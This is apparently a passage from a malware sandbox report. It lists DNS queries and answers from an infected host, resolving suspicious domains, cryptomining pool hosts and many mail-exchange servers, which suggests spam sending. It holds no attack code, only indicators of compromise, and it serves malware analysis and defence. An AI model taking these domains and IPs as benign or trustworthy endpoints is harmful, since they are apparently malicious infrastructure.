Aug 24, 2021 14:03:17.775129080 CEST	192.168.2.3	8.8.8.8	0xe2ea	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:18.153383017 CEST	192.168.2.3	8.8.8.8	0x43ec	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:18.519234896 CEST	192.168.2.3	8.8.8.8	0x2b51	Standard query (0)	live.co.uk	MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:18.673938990 CEST	192.168.2.3	8.8.8.8	0x917a	Standard query (0)	eur.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:18.694597960 CEST	192.168.2.3	8.8.8.8	0xfdba	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:18.970797062 CEST	192.168.2.3	8.8.8.8	0xbad6	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:19.039213896 CEST	192.168.2.3	8.8.8.8	0xbfa	Standard query (0)	eur.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:19.244297981 CEST	192.168.2.3	8.8.8.8	0xd018	Standard query (0)	lakeshoresewing.com	MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:19.622920990 CEST	192.168.2.3	8.8.8.8	0x749f	Standard query (0)	lakeshoresewing.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:19.649862051 CEST	192.168.2.3	8.8.8.8	0x30f6	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:19.943610907 CEST	192.168.2.3	8.8.8.8	0xe43c	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:20.246516943 CEST	192.168.2.3	8.8.8.8	0x7dc7	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:20.668297052 CEST	192.168.2.3	8.8.8.8	0x3146	Standard query (0)	seznam.cz	MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:20.869996071 CEST	192.168.2.3	8.8.8.8	0x1910	Standard query (0)	mx1.seznam.cz	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:22.125855923 CEST	192.168.2.3	8.8.8.8	0x26ba	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:22.372560024 CEST	192.168.2.3	8.8.8.8	0x4b87	Standard query (0)	ntlworld.com	MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:22.449312925 CEST	192.168.2.3	8.8.8.8	0x9b06	Standard query (0)	mx.tb.ukmail.iss.as9143.net	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:22.881031990 CEST	192.168.2.3	8.8.8.8	0x3a9b	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:23.269098043 CEST	192.168.2.3	8.8.8.8	0x188	Standard query (0)	mail.com	MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:23.416244030 CEST	192.168.2.3	8.8.8.8	0xb9b5	Standard query (0)	mx01.mail.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:23.943058014 CEST	192.168.2.3	8.8.8.8	0xd068	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:24.219141960 CEST	192.168.2.3	8.8.8.8	0x4c70	Standard query (0)	aurora.org	MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:24.688913107 CEST	192.168.2.3	8.8.8.8	0xbcfb	Standard query (0)	mxb-001ada02.gslb.pphosted.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:25.362340927 CEST	192.168.2.3	8.8.8.8	0x87f0	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:27.336148024 CEST	192.168.2.3	8.8.8.8	0x9b6	Standard query (0)	uth.tmc.edu	MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:27.481513023 CEST	192.168.2.3	8.8.8.8	0x6476	Standard query (0)	mtamxiplp003.uth.tmc.edu	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:27.525700092 CEST	192.168.2.3	8.8.8.8	0xaaf1	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:27.830177069 CEST	192.168.2.3	8.8.8.8	0x8ea9	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:28.231321096 CEST	192.168.2.3	8.8.8.8	0x4c37	Standard query (0)	winco.net	MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:28.521332979 CEST	192.168.2.3	8.8.8.8	0x94a8	Standard query (0)	winco.net.mx1.greymail.rcimx.net	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:28.558343887 CEST	192.168.2.3	8.8.8.8	0x4d28	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:28.879163027 CEST	192.168.2.3	8.8.8.8	0xc2c3	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:29.175848007 CEST	192.168.2.3	8.8.8.8	0xb249	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:29.570943117 CEST	192.168.2.3	8.8.8.8	0x5de6	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:29.861385107 CEST	192.168.2.3	8.8.8.8	0x8b8	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:30.146805048 CEST	192.168.2.3	8.8.8.8	0x9b4c	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:30.421837091 CEST	192.168.2.3	8.8.8.8	0xb040	Standard query (0)	eur.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:30.425148010 CEST	192.168.2.3	8.8.8.8	0xfc73	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:30.718617916 CEST	192.168.2.3	8.8.8.8	0x464	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:31.550476074 CEST	192.168.2.3	8.8.8.8	0x380d	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:31.841558933 CEST	192.168.2.3	8.8.8.8	0x5bc3	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:31.846165895 CEST	192.168.2.3	8.8.8.8	0xae26	Standard query (0)	eur.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:32.083539009 CEST	192.168.2.3	8.8.8.8	0xf587	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:32.911561966 CEST	192.168.2.3	8.8.8.8	0xb48c	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:33.221209049 CEST	192.168.2.3	8.8.8.8	0x4176	Standard query (0)	msn-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:33.222285032 CEST	192.168.2.3	8.8.8.8	0xb79a	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:33.535008907 CEST	192.168.2.3	8.8.8.8	0x92d3	Standard query (0)	eur.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:34.041465044 CEST	192.168.2.3	8.8.8.8	0x3da9	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:34.492976904 CEST	192.168.2.3	8.8.8.8	0xad30	Standard query (0)	msn-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:34.724423885 CEST	192.168.2.3	8.8.8.8	0xce4e	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:34.907253027 CEST	192.168.2.3	8.8.8.8	0x2499	Standard query (0)	psci.net	MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:35.012356997 CEST	192.168.2.3	8.8.8.8	0x727	Standard query (0)	psci.net.mx1.greymail.rcimx.net	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:35.096465111 CEST	192.168.2.3	8.8.8.8	0xb5b0	Standard query (0)	eur.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:35.335258961 CEST	192.168.2.3	8.8.8.8	0x70e	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:35.383141041 CEST	192.168.2.3	8.8.8.8	0x20	Standard query (0)	live.com	MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:35.434920073 CEST	192.168.2.3	8.8.8.8	0xf555	Standard query (0)	live-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:36.142345905 CEST	192.168.2.3	8.8.8.8	0x55fb	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:36.293867111 CEST	192.168.2.3	8.8.8.8	0x5cf3	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:36.966566086 CEST	192.168.2.3	8.8.8.8	0x516d	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:37.740550041 CEST	192.168.2.3	8.8.8.8	0x23b7	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:38.563196898 CEST	192.168.2.3	8.8.8.8	0xc9f	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Aug 24, 2021 14:01:16.556993008 CEST	8.8.8.8	192.168.2.3	0xb78f	Name error (3)	readinglistforaugust1.xyz	none	none	A (IP address)	IN (0x0001)
Aug 24, 2021 14:01:16.860081911 CEST	8.8.8.8	192.168.2.3	0x4262	No error (0)	readinglistforaugust2.xyz		95.213.224.6	A (IP address)	IN (0x0001)
Aug 24, 2021 14:01:28.579593897 CEST	8.8.8.8	192.168.2.3	0x9763	No error (0)	readinglistforaugust3.xyz		212.224.105.79	A (IP address)	IN (0x0001)
Aug 24, 2021 14:01:36.908395052 CEST	8.8.8.8	192.168.2.3	0x1207	No error (0)	swretjhwrtj.gq		172.67.216.236	A (IP address)	IN (0x0001)
Aug 24, 2021 14:01:36.908395052 CEST	8.8.8.8	192.168.2.3	0x1207	No error (0)	swretjhwrtj.gq		104.21.86.82	A (IP address)	IN (0x0001)
Aug 24, 2021 14:01:40.373008966 CEST	8.8.8.8	192.168.2.3	0x84f5	No error (0)	eduarroma.tumblr.com		74.114.154.18	A (IP address)	IN (0x0001)
Aug 24, 2021 14:01:40.373008966 CEST	8.8.8.8	192.168.2.3	0x84f5	No error (0)	eduarroma.tumblr.com		74.114.154.22	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:02.754231930 CEST	8.8.8.8	192.168.2.3	0xad36	No error (0)	readinglistforaugust3.xyz		212.224.105.79	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:09.166627884 CEST	8.8.8.8	192.168.2.3	0xb100	No error (0)	defeatwax.ru		193.56.146.188	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:09.466248989 CEST	8.8.8.8	192.168.2.3	0xcce5	No error (0)	readinglistforaugust3.xyz		212.224.105.79	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:11.219894886 CEST	8.8.8.8	192.168.2.3	0xfc3b	No error (0)	freegeoip.app		172.67.188.154	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:11.219894886 CEST	8.8.8.8	192.168.2.3	0xfc3b	No error (0)	freegeoip.app		104.21.19.200	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:18.224359035 CEST	8.8.8.8	192.168.2.3	0xa3bb	No error (0)	mine.bmpool.org		157.90.156.89	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:21.098637104 CEST	8.8.8.8	192.168.2.3	0xc50b	No error (0)	canoemail.com			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:02:21.098637104 CEST	8.8.8.8	192.168.2.3	0xc50b	No error (0)	canoemail.com			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:02:21.135226965 CEST	8.8.8.8	192.168.2.3	0x4ba3	No error (0)	hotmail.com			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:02:21.138283014 CEST	8.8.8.8	192.168.2.3	0xbc71	No error (0)	mx1.pangia.biz		216.163.176.38	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:21.138283014 CEST	8.8.8.8	192.168.2.3	0xbc71	No error (0)	mx1.pangia.biz		216.163.188.54	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:21.165961981 CEST	8.8.8.8	192.168.2.3	0x113f	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.74.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:21.165961981 CEST	8.8.8.8	192.168.2.3	0x113f	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.73.161	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:21.169476032 CEST	8.8.8.8	192.168.2.3	0x2afd	No error (0)	aol.com			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:02:21.199172974 CEST	8.8.8.8	192.168.2.3	0x578b	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.93	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:21.199172974 CEST	8.8.8.8	192.168.2.3	0x578b	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.84	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:21.199172974 CEST	8.8.8.8	192.168.2.3	0x578b	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.86	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:21.199172974 CEST	8.8.8.8	192.168.2.3	0x578b	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.75	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:21.199172974 CEST	8.8.8.8	192.168.2.3	0x578b	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.80	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:21.199172974 CEST	8.8.8.8	192.168.2.3	0x578b	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.92	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:21.209177971 CEST	8.8.8.8	192.168.2.3	0x31d9	No error (0)	msn.com			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:02:21.214019060 CEST	8.8.8.8	192.168.2.3	0xf3b7	No error (0)	www.google.com		216.58.215.228	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:21.242979050 CEST	8.8.8.8	192.168.2.3	0xa26b	No error (0)	www.google.com		216.58.215.228	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:21.250058889 CEST	8.8.8.8	192.168.2.3	0xad38	No error (0)	msn-com.olc.protection.outlook.com		104.47.18.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:21.250058889 CEST	8.8.8.8	192.168.2.3	0xad38	No error (0)	msn-com.olc.protection.outlook.com		104.47.17.161	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:21.319235086 CEST	8.8.8.8	192.168.2.3	0x4032	No error (0)	www.google.com		216.58.215.228	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:21.356225967 CEST	8.8.8.8	192.168.2.3	0x49ba	No error (0)	www.google.com		216.58.215.228	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:21.392040968 CEST	8.8.8.8	192.168.2.3	0x829b	No error (0)	www.google.com		216.58.215.228	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:21.453355074 CEST	8.8.8.8	192.168.2.3	0x7646	No error (0)	www.google.com		216.58.215.228	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:22.077198982 CEST	8.8.8.8	192.168.2.3	0x3180	No error (0)	fastpool.xyz		213.91.128.133	A (IP address)	IN (0x0001)
Aug 24, 2021 14:02:35.006266117 CEST	8.8.8.8	192.168.2.3	0xb3c6	No error (0)	77.52.17.84.in-addr.arpa			PTR (Pointer record)	IN (0x0001)
Aug 24, 2021 14:03:11.010552883 CEST	8.8.8.8	192.168.2.3	0x6eb9	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Aug 24, 2021 14:03:11.163297892 CEST	8.8.8.8	192.168.2.3	0xae78	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Aug 24, 2021 14:03:11.900378942 CEST	8.8.8.8	192.168.2.3	0x1858	No error (0)	yahoo.co.jp			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:11.900378942 CEST	8.8.8.8	192.168.2.3	0x1858	No error (0)	yahoo.co.jp			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:11.900378942 CEST	8.8.8.8	192.168.2.3	0x1858	No error (0)	yahoo.co.jp			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:11.900378942 CEST	8.8.8.8	192.168.2.3	0x1858	No error (0)	yahoo.co.jp			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:12.004698992 CEST	8.8.8.8	192.168.2.3	0xfd86	No error (0)	mx1.mail.yahoo.co.jp		202.93.77.241	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:12.004698992 CEST	8.8.8.8	192.168.2.3	0xfd86	No error (0)	mx1.mail.yahoo.co.jp		202.93.77.240	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:12.004698992 CEST	8.8.8.8	192.168.2.3	0xfd86	No error (0)	mx1.mail.yahoo.co.jp		124.83.142.123	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:12.004698992 CEST	8.8.8.8	192.168.2.3	0xfd86	No error (0)	mx1.mail.yahoo.co.jp		124.83.142.124	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:12.053445101 CEST	8.8.8.8	192.168.2.3	0x70a9	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.17.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:12.053445101 CEST	8.8.8.8	192.168.2.3	0x70a9	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:12.390068054 CEST	8.8.8.8	192.168.2.3	0xe3cc	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.17.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:12.390068054 CEST	8.8.8.8	192.168.2.3	0xe3cc	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:12.722716093 CEST	8.8.8.8	192.168.2.3	0xd5ff	No error (0)	email.cz			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:12.722716093 CEST	8.8.8.8	192.168.2.3	0xd5ff	No error (0)	email.cz			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:12.729926109 CEST	8.8.8.8	192.168.2.3	0x46d4	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.225	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:12.729926109 CEST	8.8.8.8	192.168.2.3	0x46d4	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.161	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:12.814606905 CEST	8.8.8.8	192.168.2.3	0x8520	No error (0)	mx1.seznam.cz		77.75.76.42	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:12.814606905 CEST	8.8.8.8	192.168.2.3	0x8520	No error (0)	mx1.seznam.cz		77.75.78.42	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:12.974484921 CEST	8.8.8.8	192.168.2.3	0x7a6f	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.225	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:12.974484921 CEST	8.8.8.8	192.168.2.3	0x7a6f	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.161	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:13.207803011 CEST	8.8.8.8	192.168.2.3	0x7a31	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.17.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:13.207803011 CEST	8.8.8.8	192.168.2.3	0x7a31	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:13.499842882 CEST	8.8.8.8	192.168.2.3	0xc3f9	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.225	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:13.499842882 CEST	8.8.8.8	192.168.2.3	0xc3f9	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.161	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:13.759923935 CEST	8.8.8.8	192.168.2.3	0x3443	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.225	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:13.759923935 CEST	8.8.8.8	192.168.2.3	0x3443	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.161	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:14.014337063 CEST	8.8.8.8	192.168.2.3	0x9c80	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.17.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:14.014337063 CEST	8.8.8.8	192.168.2.3	0x9c80	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:14.342231035 CEST	8.8.8.8	192.168.2.3	0x1d1a	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.225	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:14.342231035 CEST	8.8.8.8	192.168.2.3	0x1d1a	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.161	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:14.463027000 CEST	8.8.8.8	192.168.2.3	0xc247	No error (0)	greatlakes.net			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:14.634718895 CEST	8.8.8.8	192.168.2.3	0xba67	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.17.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:14.634718895 CEST	8.8.8.8	192.168.2.3	0xba67	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:14.663727999 CEST	8.8.8.8	192.168.2.3	0xab35	No error (0)	pmg.airadvantage.net		66.84.121.114	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:14.949279070 CEST	8.8.8.8	192.168.2.3	0x706b	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.17.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:14.949279070 CEST	8.8.8.8	192.168.2.3	0x706b	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:15.149812937 CEST	8.8.8.8	192.168.2.3	0xb9ed	No error (0)	telete.in		195.201.225.248	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:15.215049982 CEST	8.8.8.8	192.168.2.3	0x63f	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.17.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:15.215049982 CEST	8.8.8.8	192.168.2.3	0x63f	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:15.344026089 CEST	8.8.8.8	192.168.2.3	0x885	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.17.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:15.344026089 CEST	8.8.8.8	192.168.2.3	0x885	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:15.499362946 CEST	8.8.8.8	192.168.2.3	0x6e82	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.225	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:15.499362946 CEST	8.8.8.8	192.168.2.3	0x6e82	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.161	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:15.692198038 CEST	8.8.8.8	192.168.2.3	0xe4d0	No error (0)	greystar.com			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:15.692198038 CEST	8.8.8.8	192.168.2.3	0xe4d0	No error (0)	greystar.com			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:15.839370966 CEST	8.8.8.8	192.168.2.3	0xb722	No error (0)	hotmail.co.uk			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:15.970261097 CEST	8.8.8.8	192.168.2.3	0xcb1a	No error (0)	mxa-00294d01.gslb.pphosted.com		148.163.153.125	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:15.983789921 CEST	8.8.8.8	192.168.2.3	0x44f6	No error (0)	eur.olc.protection.outlook.com		104.47.6.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:15.983789921 CEST	8.8.8.8	192.168.2.3	0x44f6	No error (0)	eur.olc.protection.outlook.com		104.47.5.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:15.997133017 CEST	8.8.8.8	192.168.2.3	0x7867	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.17.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:15.997133017 CEST	8.8.8.8	192.168.2.3	0x7867	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:16.258407116 CEST	8.8.8.8	192.168.2.3	0x548b	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.225	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:16.258407116 CEST	8.8.8.8	192.168.2.3	0x548b	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.161	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:16.508889914 CEST	8.8.8.8	192.168.2.3	0xd6fb	No error (0)	newlandcommunities.com			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:16.508889914 CEST	8.8.8.8	192.168.2.3	0xd6fb	No error (0)	newlandcommunities.com			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:16.622056007 CEST	8.8.8.8	192.168.2.3	0xd54f	No error (0)	newlandcommunities.com.1.arsmtp.com		8.31.233.62	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:16.691894054 CEST	8.8.8.8	192.168.2.3	0x3480	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.17.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:16.691894054 CEST	8.8.8.8	192.168.2.3	0x3480	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:17.087502956 CEST	8.8.8.8	192.168.2.3	0x5bb4	No error (0)	eur.olc.protection.outlook.com		104.47.13.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:17.087502956 CEST	8.8.8.8	192.168.2.3	0x5bb4	No error (0)	eur.olc.protection.outlook.com		104.47.14.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:17.397913933 CEST	8.8.8.8	192.168.2.3	0x44b2	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.17.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:17.397913933 CEST	8.8.8.8	192.168.2.3	0x44b2	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:17.860666037 CEST	8.8.8.8	192.168.2.3	0xe2ea	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.225	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:17.860666037 CEST	8.8.8.8	192.168.2.3	0xe2ea	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.161	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:18.180489063 CEST	8.8.8.8	192.168.2.3	0x43ec	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.17.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:18.180489063 CEST	8.8.8.8	192.168.2.3	0x43ec	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:18.545840979 CEST	8.8.8.8	192.168.2.3	0x2b51	No error (0)	live.co.uk			MX (Mail exchange)	IN (0x0001)
